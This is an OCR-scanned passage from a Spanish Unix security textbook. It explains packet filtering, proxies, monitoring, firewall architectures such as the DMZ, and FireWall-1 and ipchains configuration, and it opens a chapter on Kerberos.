plementar sobre el los mecanismos necesarios para hacer cumplir nuestra politica de seguridad. En 
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todo cortafuegos existen tres componentes basicos para los que debemos implementar mecanismos 
([BCOW94]): el filtrado de paquetes, el proxy de aplicacion y la monitorization y detection de 
actividad sospechosa. Vamos a hablar a continuation de cada uno de estos componentes. 

12.3 Componentes de un cortafuegos 

12.3.1 Filtrado de paquetes 

Cualquier router ip utiliza reglas de filtrado para reducir la carga de la red; por ejemplo, se descartan 
paquetes cuyo ttl ha llegado a cero, paquetes con un control de errores erroneos, o simplemente 
tramas de broadcast. Ademas de estas aplicaciones, el filtrado de paquetes se puede utilizar para 
implementar diferentes politicas de seguridad en una red; el objetivo principal de todas ellas suele 
ser evitar el acceso no autorizado entre dos redes, pero manteniendo intactos los accesos autoriza- 
dos. Su funcionamiento es habitualmente muy simple: se analiza la cabecera de cada paquete, y en 
funcion de una serie de reglas establecidas de antemano la trama es bloqueada o se le permite seguir 
su camino; estas reglas suelen contemplar campos como el protocolo utilizado (tcp, UDP, icmp. . . ), 
las direcciones fuente y destino, y el puerto clestino. Ademas de la information de cabecera de las 
tramas, algunas implement aciones de filtrado permiten especificar reglas basadas en la interfaz del 
router por clonde se ha de reenviar el paquete, y tambien en la interfaz por donde ha llegado hasta 
nosotros ([Cha92]). 

^Como se especifican tales reglas? Generalmente se expresan como una simple tabla de condiciones 
y acciones que se consulta en orden hasta encontrar una regia que permita tomar una decision sobre 
el bloqueo o el reenvio de la trama; adicionalmente, ciertas implement aciones permiten indicar si 
el bloqueo de un paquete se notificara a la maquina origen mediante un mensaje ICMP ([Mog89]). 
Siempre hemos de tener presente el orden de analisis de las tablas para poder implementar la politica 
de seguridad de una forma correcta; cuanto mas complejas sean las reglas y su orden de analisis, 
mas diffcil sera para el administrador comprenderlas. Independientemente del formato, la forma 
de generar las tablas dependera obviamente del sistema sobre el que trabajemos, por lo que es 
indispensable consultar su documentation; algunos ejemplos particulares - pero aplicables a otros 
sistemas - pueden encontrarse en [CHS91] (routers NetBlazer), [Par98] (routers Cisco), [RA94] (TIS 
Internet Firewall Toolkit sobre Unix) y tambien en la obra indispensable al hablar de cortafuegos: 
[CZ95] (screend, NetBlazer, Livingston y Cisco). 

Por ejemplo, imaginemos una hipotetica tabla de reglas de filtrado de la siguiente forma: 

Origen Destino Tipo Puerto Accion 


158.43.0.0 

* 

* 

* 

Deny 

* 

195.53.22.0 

* 

* 

Deny 

158.42.0.0 

* 

* 

* 

Allow 

* 

193.22.34.0 

* 

* 

Deny 


Si al cortafuegos donde esta definida la politica anterior llegara un paquete proveniente de una 
maquina de la red 158.43.0.0 se bloquearfa su paso, sin importar el destino de la trama; de la 
misma forma, todo el trafico hacia la red 195.53.22.0 tambien se detendrfa. Pero, ique sucederia 
si llega un paquete de un sistema de la red 158.42.0.0 hacia 193.22.34.0? Una de las reglas nos 
indica que dejemos pasar todo el trafico proveniente de 158.42.0.0, pero la siguiente nos dice que 
si el destino es 193.22.34.0 lo bloqueemos sin importar el origen. En este caso depende de nuestra 
implementation particular y el orden de analisis que siga: si se comprueban las reglas clesde el 
principio, el paquete atravesaria el cortafuegos, ya que al analizar la tercera entrada se finalizarian 
las comprobaciones; si operamos al reves, el paquete se bloquearfa porque leemos antes la ultima 
regia. Como podemos ver, ni siquiera en nuestra tabla - muy simple - las cosas son obvias, por 
lo que si extendemos el ejemplo a un firewall real podemos hacernos una idea de hasta que punto 
hemos de ser cuidadosos con el orden de las entradas de nuestra tabla. 
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^Que sucederfa si, con la tabla del ejemplo anterior, llega un paquete que no cumple ninguna 
de nuestras reglas? El sentido comun nos dice que por seguridad se deberia bloquear, pero esto no 
siempre sucede asi; diferentes implementaciones ejecutan diferentes acciones en este caso. Algunas 
deniegan el paso por clefecto, otras aplican el contario de la ultima regia especificada (es clecir, si 
la ultima entrada era un Allow se niega el paso de la trama, y si era un Deny se permite), otras 
dejan pasar este tipo de tramas. . . De cualquier forma, para evitar problemas cuando uno de es- 
tos clatagramas llega al cortafuegos, lo mejor es insertar siempre una regia por defecto al final de 
nuestra lista - recordemos una vez mas la cuestion del orclen - con la accion que deseemos realizar 
por defecto; si por ejemplo deseamos bloquear el resto del trafico que llega al firewall con la tabla 
anterior, y suponiendo que las entradas se analizan en el orden habitual, podriamos ahadir a nuestra 
tabla la siguiente regia: 

Origen Destino Tipo Puerto Accion 


* * * * Deny 

La especificacion incorrecta de estas reglas constituye uno de los problemas de seguridad habituales 
en los cortafuegos de filtrado de paquetes; no obstante, el mayor problema es que un sistema de 
filtrado de paquetes es incapaz de analizar (y por tanto verificar) datos situados por encima del 
nivel de red OSI ([Ste98]). A esto se le ahade el hecho de que si utilizamos un simple router como 
filtro, las capacidades de registro de information del mismo suelen ser bastante limitadas, por lo que 
en ocasiones es diffcil la detection de un ataque; se puede considerar un mecanismo de prevention 
mas que de detection. Para intentar solucionar estas - y otras vulnerabilidades - es recomendable 
utilizar aplicaciones software capaces de filtrar las conexiones a servicios; a dichas aplicaciones se 
les denomina proxies de aplicacion, y las vamos a comentar en el punto siguiente. 

12.3.2 Proxy de aplicacion 

Ademas del filtrado de paquetes, es habitual que los cortafuegos utilicen aplicaciones software para 
reenviar o bloquear conexiones a servicios como finger, telnet o FTP; a tales aplicaciones se les 
denomina servicios proxy, mientras que a la maquina donde se ejecutan se le llama pasarela de 
aplicacion. 

Los servicios proxy poseen una serie de ventajas de cara a incrementar nuestra seguridad ([WC94]); 
en primer lugar, permiten unicamente la utilization de servicios para los que existe un proxy, por 
lo que si en nuestra organization la pasarela de aplicacion contiene unicamente proxies para telnet, 
http y ftp, el resto de servicios no estaran disponibles para nadie. Una segunda ventaja es que 
en la pasarela es posible filtrar protocolos basandose en algo mas que la cabecera de las tramas, lo 
que hace posible por ejemplo tener habilitado un servicio como ftp pero con ordenes restringidas 
(podriamos bloquear todos los comandos put para que nadie pueda subir ficheros a un servidor). 
Ademas, los application gateways permiten un grado de ocultacion de la estructura de la red pro- 
tegida (por ejemplo, la pasarela es el unico sistema cuyo nombre esta disponible hacia el exterior), 
facilita la autenticacion y la auditorfa del trafico sospechoso antes de que alcance el host destino 
y, quizas mas importante, simplifica enormemente las reglas de filtrado implementadas en el router 
(que como hemos dicho antes pueden convertirse en la fuente de muchos problemas de seguridad): 
solo hemos de permitir el trafico hacia la pasarela, bloqueando el resto. 

^Que servicios ofrecer en nuestro gateway, y como hacerlo? La configuration de la mayoria de 
servicios ‘habituales’ esta muy bien explicada (como el resto del libro) en el capitulo 8 de [CZ95]. 
Ademas, en numerosos articulos se comentan problemas especfficos de algunos servicios; uno muy 
recomendable, centrado en el sistema de ventanas X Window, pero donde tambien se habla de otros 
protocolos, puede ser [TW93]. 

El principal inconveniente que encontramos a la hora de instalar una pasarela de aplicacion es 
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que cada servicio que deseemos ofrecer necesita su propio proxy, ademas se trata de un elemento 
que frecuentemente es mas caro que un simple filtro de paquetes, y su rendimiento es mucho menor 
(por ejemplo, puede llegar a limitar el ancho de banda efectivo de la red, si el analisis de cada trama 
es costoso). En el caso de protocolos cliente-servidor (como telnet) se anade la desventaja de que 
necesitamos clos pasos para conectar hacia la zona segura o hacia el resto de la red; incluso algunas 
implementaciones necesitan clientes modificados para funcionar correctamente. 

Una variante de las pasarelas de aplicacion la constituyen las pasarelas de nivel de circuito ( Circuit- 
level Gateways, [CB94]), sistemas capaces de redirigir conexiones (reenviando tramas) pero que no 
pueden procesar o filtrar paquetes en base al protocolo utilizado; se limitan simplemente a auten- 
ticar al usuario (a su conexion) antes de establecer el circuito virtual entre sistemas. La principal 
ventaja de este tipo de pasarelas es que proveen de servicios a un amplio rango de protocolos; 
no obstante, necesitan software especial que tenga las llamadas al sistema clasicas sustituidas por 
funciones de libreria seguras, como SOCKS ([KK92]). 


12.3.3 Monitorizacion de la actividad 

Monitorizar la actividad de nuestro cortafuegos es algo indispensable para la seguridad de todo el 
perfmetro protegido; la monitorizacion nos facilitara information sobre los intentos de ataque que 
estemos sufriendo (origen, franjas horarias, tipos de acceso. asi como la existencia de tramas 
que aunque no supongan un ataque a priori si que son al menos sospechosas (podemos leer [Bel93b] 
para hacernos una idea de que tipo de tramas ‘extranas’ se pueden llegar a detectar). 

iQue informacion debemos registrar? Ademas de los registros estandar (los que incluyen estadisticas 
de tipos de paquetes recibidos, frecuencias, o direcciones fuente y destino) [BCOW94] recomienda 
auditar informacion de la conexion (origen y destino, nombre de usuario - recordemos el servicio 
ident - hora y duration), intentos de uso de protocolos denegados, intentos de falsification de di- 
rection por parte de maquinas internas al perfmetro de seguridad (paquetes que llegan clesde la 
red externa con la direction de un equipo interno) y tramas recibidas clesde routers clesconocidos. 
Evidentemente, todos esos registros han de ser leidos con frecuencia, y el administrador de la red 
ha de tomar medidas si se detectan actividades sospechosas; si la cantidad de logs generada es 
considerable nos puede interesar el uso de herramientas que filtren dicha informacion. 

Un excelente mecanismo para incrementar mucho nuestra seguridad puede ser la sustitucion de 
servicios reales en el cortafuegos por programas trampa ([Bel92]). La idea es sencilla: se trata de 
pequenas aplicaciones que simulan un determinado servicio, de forma que un posible atacante piense 
que dicho servicio esta habilitado y prosiga su ‘ataque’, pero que realmente nos estan enviando toda 
la informacion posible sobre el pirata. Este tipo de programas, una especie de troyano, suele tener 
una finalidad multiple: aparte de detectar y notificar ataques, el atacante permanece entretenido 
intentando un ataque que cree factible, lo que por un lado nos beneficia directamente - esa persona 
no intenta otro ataque quizas mas peligroso - y por otro nos permite entretener al pirata ante 
una posible traza de su conexion. Evidentemente, nos estamos arriesgando a que nuestro atacante 
descubra el mecanismo y lance ataques mas peligrosos, pero como el nivel de conocimientos de 
los atacantes de redes habituales en general no es muy elevado (mas bien todo lo contrario), este 
mecanismo nos permite descubrir posibles exploits utilizados por los piratas, observar a que tipo 
de atacantes nos enfrentamos, e incluso divertirnos con ellos. En la Universidad Politecnica de 
Valencia existen algunos sistemas con este tipo de trampas, y realmente es curioso observar como 
algunos intrusos siguen intentando aprovechar bugs que fueron descubiertos - y solucionados - hace 
mas de cuatro aiios (ejemplos tipicos aqui son PHF y algunos problemas de sendmail). En [Che92], 
un articulo clasico a la hora de hablar de seguridad (tambien se comenta el caso en el capftulo 10 
de [CB94]), se muestra como Bill Cheswick, un experto en seguridad de los laboratories AT&T 
estadounidenses, es capaz de analizar detenidamente gracias a estos programas las actividades de 
un pirata que golpea el gateway de la companfa. 
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12.4 Arquitecturas de cortafuegos 

12.4.1 Cortafuegos de filtrado de paquetes 

Un firewall sencillo puede consistir en un dispositivo capaz de filtrar paquetes, un choke; se trata 
del modelo de cortafuegos mas antiguo ([Sch97]), basado simplemente en aprovechar la capacidad 
de algunos routers para bloquear o filtrar paquetes en funcion de su protocolo, su servicio o su 
direction IP de forma que el router actue como gateway de la subred. Los accesos desde la red 
interna al exterior no bloqueados son directos (no hay necesidad de utilizar proxies, como sucede 
en los cortafuegos basados en una maquina con dos tarjetas de red), por lo que esta arquitectura es 
la mas simple de implementar y la mas utilizada en organizaciones que no precisan grandes niveles 
de seguridad - como las que vemos aqui 

No obstante, elegir un cortafuegos tan sencillo puede no ser recomendable en ciertas situaciones, o 
para organizaciones que requieren una mayor seguridad para su subred, ya que los simples chokes 
presentan mas desventajas que beneficios para la red protegida. El principal problema es que no 
disponen de un sistema de monitorizacion sofisticado, por lo que muchas veces el administrador no 
puede determinar si el router esta siendo atacado o si su seguridad ha sido comprometida. Aclemas 
las reglas de filtrado pueden llegar a ser complejas de establecer, y por tanto es dificil comprobar 
su correction: habitualmente solo se comprueba a traves de pruebas directas, con los problemas de 
seguridad que esto puede implicar. 

Si a pesar de esto decidimos utilizar un router como filtro de paquetes, es recomendable bloquear to- 
dos los servicios que no se utilicen desde el exterior (especialmente NIS, NFS, X-Window y TFTP), 
asi como el acceso desde maquinas no confiables hacia nuestra subred; es tambien importante para 
la seguridad bloquear los paquetes con encaminamiento en origen activado. 

12.4.2 Dual-Homed Host 

El segundo modelo de cortafuegos estaba formado por simples maquinas Unix equipadas con dos 
tarjetas de red y denominadas anfitriones de dos bases ([SH95]), en las que una de las tarjetas se 
suele conectar a la red interna a proteger, y la otra a la red externa a la organization. En esta 
configuration el choke y el bastion coinciden en el mismo equipo: la maquina Unix. 

El sistema Unix ha de ejecutar al menos un servidor proxy para cada uno de los servicios que 
deseemos pasar a traves del cortafuegos, y tambien es necesario que el IP Forwarding este deshabi- 
litado en el equipo: aunque una maquina con dos tarjetas puede actuar como un router, para aislar 
el trafico entre la red interna y la externa es necesario que el choke no enrute paquetes entre ellas. 
Todo el intercambio de datos entre las redes se ha de realizar a traves de servidores proxy situados 
en el host bastion, o bien permitiendo a los usuarios conectar directamente al mismo (algo muy 
poco recomendable, ya que un usuario que consiga aumentar su nivel de privilegios en el sistema 
puede romper toda la protection del cortafuegos, por ejemplo reactivando el IP Forwarding) . 

12.4.3 Screened Host 

Un paso mas en terminos de seguridad de los cortafuegos es la arquitectura screened host o choke- 
gate, que combina un router con un host bastion, y donde el principal nivel de seguridad proviene del 
filtrado de paquetes. En la maquina bastion, unico sistema accesible desde el exterior, se ejecutan 
los proxies de las aplicaciones, mientras que el choke se encarga de filtrar los paquetes que se puedan 
considerar peligrosos para la seguridad de la red interna, permitiendo unicamente la comunicacion 
con un reducido numero de servicios. 

Pero, ^donde situar el sistema bastion, en la red interna o en el exterior del router 1 La ma- 
yorfa de autores ([Ran93], [Sem96]. . . ) recomiendan situar el router entre la red exterior y el host 
bastion, pero otros ([WC94]) defienden justo lo contrario: situar el bastion en la red exterior no 
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provoca aparentemente una degradation de la seguridad, y ademas ayuda al administrador a com- 
prender la necesidad de un elevado nivel de fiabilidad en esta maquina, ya que esta sujeta a ataques 
externos y no tiene por que ser un host fiable; de cualquier forma, asumiremos la primera option 
por considerarla mayoritaria entre los expertos en seguridad informatica. De esta forma, cuando 
una maquina de la red interna desea comunicarse con el exterior ha de hacerlo a traves de servido- 
res proxy situados en el host bastion, y los usuarios externos solo pueden acceder a la red interna 
tambien a traves de este sistema. 

12.4.4 Screened Subnet (DMZ) 

La arquitectura Screened Subnet, tambien conocida como red perimetrica o De-Militarized Zone 
(DMZ) ahade un nivel de seguridad en las arquitecturas de cortafuegos situando una subred (DMZ) 
entre las redes externa e interna, de forma que se consiguen reducir los efectos de un ataque exitoso 
al host bastion: en los modelos anteriores toda la seguridad se centraba en el bastion 1 , de forma que 
si la seguridad del mismo se vela comprometida, la amenaza se extendfa automaticamente al resto 
de la red. Como la maquina bastion es un objetivo interesante para muchos piratas, la arquitectura 
DMZ intenta aislarla en una red perimetrica de forma que un intruso que accede a esta maquina 
no consiga un acceso total a la subred protegida. 

Screened subnet es la arquitectura mas segura, pero tambien la mas compleja; se utilizan dos 
routers, denominados exterior e interior, conectados ambos a la red perimetrica como se muestra 
en la figura 12.2. En esta red perimetrica, que constituye el sistema cortafuegos, se incluye el host 
bastion y tambien se podrfan incluir sistemas que requieran un acceso controlado, como baterfas 
de modems o el servidor de correo, que seran los unicos elementos visibles desde fuera de nuestra 
red. El router exterior tiene como mision bloquear el trafico no deseado en ambos sentidos (hacia 
la red perimetrica y hacia la red externa), mientras que el interior hace lo mismo pero con el trafico 
entre la red interna y la perimetrica; de esta forma, un atacante habria de romper la seguridad 
de ambos routers para acceder a la red protegida. Incluso es posible si se desean mayores niveles 
niveles de seguridad definir varias redes perimetricas en serie, situando los servicios que requieran 
de menor fiabilidad en las redes mas externas; asf, el atacante habra de saltar por todas y cada 
una de ellas para acceder a nuestros equipos. Evidentemente, si en cada red perimetrica se siguen 
las mismas reglas de filtrado, niveles adicionales no proporcionan mayor seguridad. Aunque, como 
hemos dicho antes, la arquitectura DMZ es la que mayores niveles de seguridad puede proporcionar, 
no se trata de la panacea de los cortafuegos. Evidentemente existen problemas relacionados con este 
modelo: por ejemplo, se puede utilizar el firewall para que los servicios fiables pasen directamente 
sin acceder al bastion, lo que puede dar lugar a un incumplimiento de la polftica de la organiza- 
tion. Un segundo problema, quizas mas grave, es que la mayor parte de la seguridad reside en los 
routers utilizados; como hemos dicho antes las reglas de filtrado sobre estos elementos pueden ser 
complicadas de configurar y comprobar, lo que puede dar lugar a errores que abran importantes 
brechas de seguridad en nuestro sistema. 


12.4.5 Otras arquitecturas 

Algo que puede incrementar en gran medida nuestra seguridad y al mismo tiempo facilitar la ad- 
ministration de los cortafuegos es utilizar un bastion diferente para cada protocolo o servicio en 
lugar de uno solo; sin embargo, esta arquitectura presenta el grave inconveniente de la cantidad 
de maquinas necesarias para implementar el firewall , lo que impide que muchas organizations la 
puedan adoptar. Una variante mas barata consistirfa en utilizar un unico bastion pero servidores 
proxy diferentes para cada servicio ofertado. 

Cada dia es mas habitual en todo tipo de organizations dividir su red en diferentes subredes; 
esto es especialmente aplicable en entornos de I+D o empresas medianas, clonde con frecuencia se 

1 Except. o en el primero, compuesto unicamente por un choke. 
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Figura 12.2: Arquitectura DMZ. 


han de conectar campus o sucursales separadas geograficamente, edificios o laboratories diferen- 
tes, etc. En esta situation es recomendable incrementar los niveles de seguridad de las zonas mas 
comprometidas (por ejemplo, un servidor donde se almacenen expedientes o datos administrativos 
del personal) insertando cortafuegos interims entre estas zonas y el resto de la red. Aparte de 
incrementar la seguridad, firewalls internos son especialmente recomendables en zonas de la red 
desde la que no se permite a priori la con exion con Internet, como laboratories de practicas: un 
simple PC con Linux o FreeBSD que deniegue cualquier conexion con el exterior del campus va 
a ser suficiente para evitar que los usuarios se dediquen a conectar a paginas web o chats desde 
equipos no destinados a estos usos. Concretamente en el caso de redes de universidades serfa muy 
interesante filtrar las conexiones a IRC o a MUDs, ya sea a nivel de aulas o laboratories o a nivel de 
todo el campus, denegando en el router de salida de la red hacia INet cualquier trafico a los puertos 
6667, 8888 y similares; aunque realmente esto no evitarfa que todos los usuarios siguieran jugando 
desde los equipos de la universidad - por ejemplo a traves de un servidor que disponga de conexion 
en otros puertos si conseguirfa que la mayor parte de ellos dejara de hacerlo. 


12.5 Caso de estudio: Firewall-1 

Quizas el cortafuegos mas utilizado actualmente en Internet es FireWall-1 , desarrollado por la 
empresa Check Point Software Technologies Ltd. (http://www.clieckpoint.com). Incorpora una 
nueva arquitectura dentro del mundo de los cortafuegos: la inspection con estado ( stateful ins- 
pection). Firewall- 1 inserta un modulo denominado Inspection Module en el nucleo del sistema 
operativo sobre el que se instala, en el nivel software mas bajo posible (por debajo incluso del nivel 
de red), tal y como se muestra en la figura 12.3; asf, desde ese nivel tan bajo, Firewall-1 puede 
interceptar y analizar todos los paquetes antes de que lleguen al resto del sistema; se garantiza 
que ningiin paquete es procesado por ninguno de los protocolos superiores hasta que Firewall-1 
comprueba que no viola la polftica de seguridad definida. 
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Figura 12.3: Ubicacion del Inspection Module dentro de la pila de protocolos OSI. 


Firewall- 1 es capaz de analizar la informacion de una trama en cada uno de los siete niveles OSI 
y a la vez analizar informacion de estado registrada de anteriores comunicaciones; el cortafuegos 
entiende la estructura de los diferentes protocolos tcp/ip - incluso de los ubicados en la capa de 
aplicacion -, de forma que el Inspection Module extrae la informacion relevante de cada paquete 
para construir tablas dinamicas que se actualizan constantemente, tablas que el firewall utiliza para 
analizar comunicaciones posteriores. En el modulo de inspeccion se implantan las polfticas de segu- 
ridad definidas en cada organization mediante un sencillo lenguaje denominado INSPECT, tambien 
disenado por Check Point Software Technologies; desde un comodo interfaz se genera un script 
en este lenguaje, que se compila y se inserta en el Inspection Module. 

Instalar Firewall-1 en una maquina Unix no ofrece ninguna dificultad: simplemente hemos de 
desempaquetar el software y ejecutar la orden fwinstall, que paso a paso nos guiara a traves de 
la configuracion del programa; incluso se encargara de crear los scripts necesarios para lanzar el 
cortafuegos al reiniciar el sistema. Una vez instalado, Firewall-1 ofrece un comodo interfaz grafico 
para la configuracion de polfticas del sistema (fwui); no obstante, siempre tenemos la option de 
trabajar en modo texto mediante la orden fw. En el paquete tambien viene incluido un visor grafico 
de logs (fwlv, mostrado en la figura 12.4); los logs del programa no se guardan por defecto en fi- 
cheros ASCII, sino en un formato propio en el directorio /etc/fw/logs/, por lo que o bien el visor 
grafico o bien la utilidad fw son necesarios para visualizarlos o exportarlos directamente a ficheros 
de texto: 

anita:/etc/fw/bin# ./fw log 

Date: May 2, 2000 


3:28:43 

ctl 

anita 

>daemon 

started 

sending 

log 

to 

localhost 

3:49:27 

ctl 

anita 

>daemon 

started 

sending 

log 

to 

localhost 

4:30:30 

ctl 

anita 

>daemon 

started 

sending 

log 

to 

localhost 


anita:/etc/fw/bin# ./fw logexport -o /etc/fw/logs/salida. ascii 
Starting pass 1 of the log file. 

Starting pass 2 of the log file.. 

100.00°/o of log file processed. 

anita:/etc/fw/bin# cat /etc/fw/logs/salida. ascii 




208 


CAPITULO 12. CORTAFUEGOS 



Figura 12.4: Una imagen de fwlv. 
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num ; date ; t ime ; or ig ; type ; action ; alert ; i/f _name ; i/f _dir ; sys_msgs 
0;2May2000; 3 : 28 : 43; anita; control ; ctl ;; daemon; inbound; started sending log 
to localhost 

l;2May2000; 3 : 49 : 27; anita; control ; ctl ;; daemon; inbound; started sending log 
to localhost 

2;2May2000; 4 : 30 : 30 ; anita; control ; ctl ;; daemon; inbound; started sending log 
to localhost 

anita : / et c/f w/bin# 

La gran potencia y flexibilidad de Firewall- 1 hacen imposible que se puedan explicar con detalle 
todas sus caracterfsticas; para mas informacion, una excelente lectura puede ser [Gon99] . Tambien 
la documentacion que acompana al producto, y la disponible en el servidor web de Check Point 
Software Technologies, es de gran ayuda para cualquier administrador que utilice este cortafue- 
gos en su red. 

Por ultimo, una pequena advertencia; como Firewall- 1 inserta modulos en el niicleo del opera- 
tive, es dependiente de la version del kernel utilizada. Todas las versiones mas o menos modernas 
funcionan correctamente sobre Solaris 2.6 y la ultima tambien sobre Solaris 7; no obstante, sobre 
este ultimo el resto de versiones no funcionan bien, aunque se instalen correctamente. Es posible, 
y esto lo digo por experiencia, que la maquina no arranque tras instalar el software debido a las 
modificaciones de los scripts de arranque (concretamente los ubicados en /etc/rcS . d/), que al ser 
invocados desde /sbin/rcS producen errores que impiden montar correctamente los discos y prose- 
guir el arranque; para solucionar estos problemas, lo mas rapido es eliminar cualquier modification 
que la instalacion de Firewall-1 haya realizado sobre los programas ejecutados al iniciar el sistema. 
Para Solaris 8 aiin no existen versiones del producto, como tampoco existen para Linux; ambas se 
supone que estan siendo clesarrolladas en la actualidad. 

12.6 Caso de estudio: ipfwadm/ipchains 

ipfwadm es una herramienta proporcionada con Linux para la implementation de politicas de fil- 
trado de paquetes en este cion de Unix. Deriva del codigo de filtrado en BSD (ipfw), y de- 
bido a sus limitaciones (por ejemplo, solo puede manejar los protocolos TCP, UDP o ICMP) 
ipfwadm ha sido reescrito para convertirse en ipchains a partir del niicleo 2.1.102. Por tan- 
to, ipchains es en la actualidad el software de firewalling en Linux IPv4; aunque todas las 
versiones de Linux lo incorporan por defecto, se puede descargar una version actualizada desde 
http : //www . rustcorp . com/linux/ ipchains/. Aparte de una version actualizada del software, en 
esta direction se puede encontrar [Rus99], consulta imprescindible para todo aquel que pretenda 
trabajar con ipchains; la mayor parte de esta seccion esta basada en esa obra. Otro documento 
que incluye tambien excelentes ejemplos es [MouOO]. 

En Linux el filtrado de paquetes esta construido en el kernel (se habla con mas detalle del niicleo de 
este sistema operativo en la seccion 9.2); para poder utilizar ipchains hemos de compilar el niicleo 
con las opciones CONFIGJTREWALL y CONFIG_ip_firewall activadas (asumiendo que tenemos una 
version del kernel 2.2, en caso contrario es conveniente actualizar el niicleo). Cuando ya estamos 
ejecutando un niicleo con el firewalling activado utilizaremos ipchains para insertar y eliminar 
reglas de filtrado en el; al tratarse de informacion dinamica, cada vez que el sistema se reinicie las 
reglas establecidas se perderan, por lo que es recomendable crear un script que se ejecute al arrancar 
el sistema y que las vuelva a clefinir (es recomendable consultar las paginas de ipchains-save e 
ipchains-restore para construir dicho shellscript). 

El niicleo de Linux utiliza tres listas de reglas denominadas chains', se trata de input, output 
y forward. Cuando recibe un paquete utiliza la primera de estas listas para decidir si lo acepta, y 
si es asf comprueba a donde tiene que enrutar el paquete; en caso de que el destino sea una maquina 
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diferente utiliza la lista forward para enviarlo. Por ultimo, la lista output se utiliza obviamente 
antes de enviar un paquete por un interfaz de red. Los elementos de cada lista se denominan reglas 
y definen - junto a los targets , de los que hablaremos a continuation - que hacer con los paquetes 
que cumplen ciertas caracteristicas; si un paquete no cumple ninguna de las reglas que cleciden que 
hacer con el, lo mejor si queremos un sistema seguro es rechazarlo o denegarlo. Mediante ipchains 
podemos definir listas, modificarlas y eliminarlas 2 y, mas importante, definir las reglas para ca- 
da lista. Para estudiar las opciones de esta orden se pueden consultar las paginas ipchains (8), 
ipfw(4), ipchains-restore (8) e ipchains-save (8) . 

Cuando un paquete cumple cumple una determinada regia de una chain definimos que hacer con 
el mediante lo que ipchains denomina ‘objetivo’ o target (quizas una traduction menos literal 
pero mas clarificadora seria ‘destino’). Aunque existen mas targets , son tres los que mas se suelen 
utilizar: ACCEPT permite el paso de un paquete, DENY lo bloquea, y reject tambien lo bloquea 
pero a diferencia del anterior envfa al origen una notification mediante un mensaje icmp de tipo 
dest.UNREACH (siempre que el paquete bloqueado no sea tambien de tipo ICMP). Realmente, 
aunque reject y DENY nos parezcan igual de seguros - y de hecho en la mayoria de situaciones 
lo sean - siempre es mas recomendable utilizar DENY, ya que mediante mensajes ICMP un posible 
atacante podria conseguir information sobre nuestras politicas de filtrado, lo que podria llegar a 
comprometer nuestra seguridad. 

Veamos un ejemplo: imaginemos que deseamos clenegar todo el trafico icmp que llega a nues- 
tra maquina Linux (realmente no seria recomendable filtrar los paquetes ICMP de tipo 3); para ello 
deberiamos ejecutar una sentencia como la siguiente: 

rosita:"# ipchains -A input -p icmp -j DENY 
rosita: ~# 

Con la option ‘ -A ’ estamos indicando que anadimos la regia a la chain especificada ( ‘ input ’ , 
lo que viene a decir que la regia afecta a los paquetes entrantes), ‘-p’ nos permite especificar el 
protocolo deseado (puede ser tcp, udp o icmp), y ‘-j’ indica el objetivo, en este caso DENY; otras 
opciones que nos podria haber sido util son ‘-s’, que permite especificar la direction de la maquina 
origen, y tambien ‘ -L ’ , que muestra la configuration actual de nuestras politicas de filtrado: 

rosita:"# ipchains -L 
Chain input (policy ACCEPT) : 

Chain forward (policy ACCEPT) : 

Chain output (policy ACCEPT) : 


target 

prot opt 

source 

destination 

ports 


DENY 

icmp 

anywhere 

anywhere 

any -> 

any 

DENY 

icmp 

anywhere 

anywhere 

any -> 

any 

ACCEPT 

icmp 

anywhere 

anywhere 

any -> 

any 


rosita: ~# 

ipchains permite registrar mediante syslogd los paquetes que cumplan cierta regia ■ por norma 
general, todos -. Un registro exhaustivo de las acciones que se toman en el nucleo con respecto al 
filtrado de paquetes no es conveniente: la gran cantidad de information guardada hace imposible 
detectar actividades sospechosas, y ademas no es dificil que se produzcan ataques de negation de 
servicio, ya sea por disco ocupado o por tiempo consumido en generar y guardar registros. Por tanto, 
lo habitual es almacenar solamente los paquetes que no sean rutinarios (por ejemplo, intentos de 
conexion desde direcciones no autorizadas, ciertos paquetes ICMP no habituales. . .). El nucleo de 
Linux, a traves de klogd y de syslogd, registra eventos con prioridad ‘ info 1 (al provenir del kernel , 
su tipo es obviamente ‘kernel’); si estos registros se almacenan en el fichero /var/adm/fwdata, 
sus entradas seran de la siguiente forma: 

rosita:"# tail -1 /var/adm/fwdata 

“A exception de las tres listas predefinidas, que no se pueden borrar. 
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Packet log: input DENY ethO PR0T0=6 158.42.22.41:1032 195.195.5.1:23 
L=34 S=0x00 1=18 F=0x0000 T=254 
rosita: ~# 

El anterior mensaje nos dice principalmente que un paquete con protocolo 6 (corresponde a TCP 
en nuestro archivo /etc/protocols) proveniente de la direction 158.42.22.41 y destinado a nuestro 
servicio telnet ha sido denegado; el resto de la information no la veremos aqui (se puede consultar 
la documentation del producto para ver el significado concreto de todos y cada uno de los campos 
registrados) . 

ipchains es una herramienta flexible, potente e, igual de importante, gratuita, que funciona sobre 
un sistema operativo tambien gratuito; quizas para una organization de I+D o para una empresa 
no muy grande sea dificil permitirse soluciones comerciales cuyo precio puede ascender a varios 
millones de pesetas, especialmente si se van a instalar cortafuegos internos o arquitecturas DMZ 
de varios niveles. Sin embargo, no hay excusa para no utilizar este producto de filtrado; un pe- 
queiio PC corriendo Linux es mas que suficiente para, en muchas ocasiones, garantizar - o al menos 
incrementar - la seguridad de un laboratorio, un aula informatica o un conjunto de despachos. 
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13.1 Introduccion 

Durante 1983 en el M.I.T. ( Massachussetts Institute of Technology) comenzo el proyecto Athena con 
el objetivo de crear un entorno de trabajo educacional compuesto por estaciones graficas, redes de 
alta velocidad y servidores; el sistema operativo para implementar este entorno era Unix 4.3BSD, 
y el sistema de autenticacion utilizado en el proyecto se denomino Kerberos ([MNSS87]) en honor 
al perro de tres cabezas que en la mitologia griega vigila la puerta de entrada a Hades, el infierno. 

Hasta que se diseiio Kerberos , la autenticacion en redes de computadores se realizaba principalmente 
de dos formas: o bien se aplicaba la autenticacion por declaration ( Authentication by assertion ), en 
la que el usuario es libre de indicar el servicio al que desea acceder (por ejemplo, mediante el uso de 
un cliente determinado), o bien se utilizaban contrasenas para cada servicio de red. Evidentemente 
el primer modelo proporciona un nivel de seguridad muy bajo, ya que se le otorga demasiado poder 
al cliente sobre el servidor; el segundo modelo tampoco es muy bueno: por un lado se obliga al 
usuario a ir tecleando continuamente su clave, de forma que se pierde demasiado tiempo y ademas 
la contraseha esta viajando continuamente por la red. Kerberos trata de mejorar estos esquemas in- 
tentando por un lado que un cliente necesite autorizacion para comunicar con un servidor (y que esa 
autorizacion provenga de una maquina confiable) , y por otro eliminando la necesidad de demostrar 
el conocimiento de information privada (la contraseha del usuario) clivulgando dicha information. 

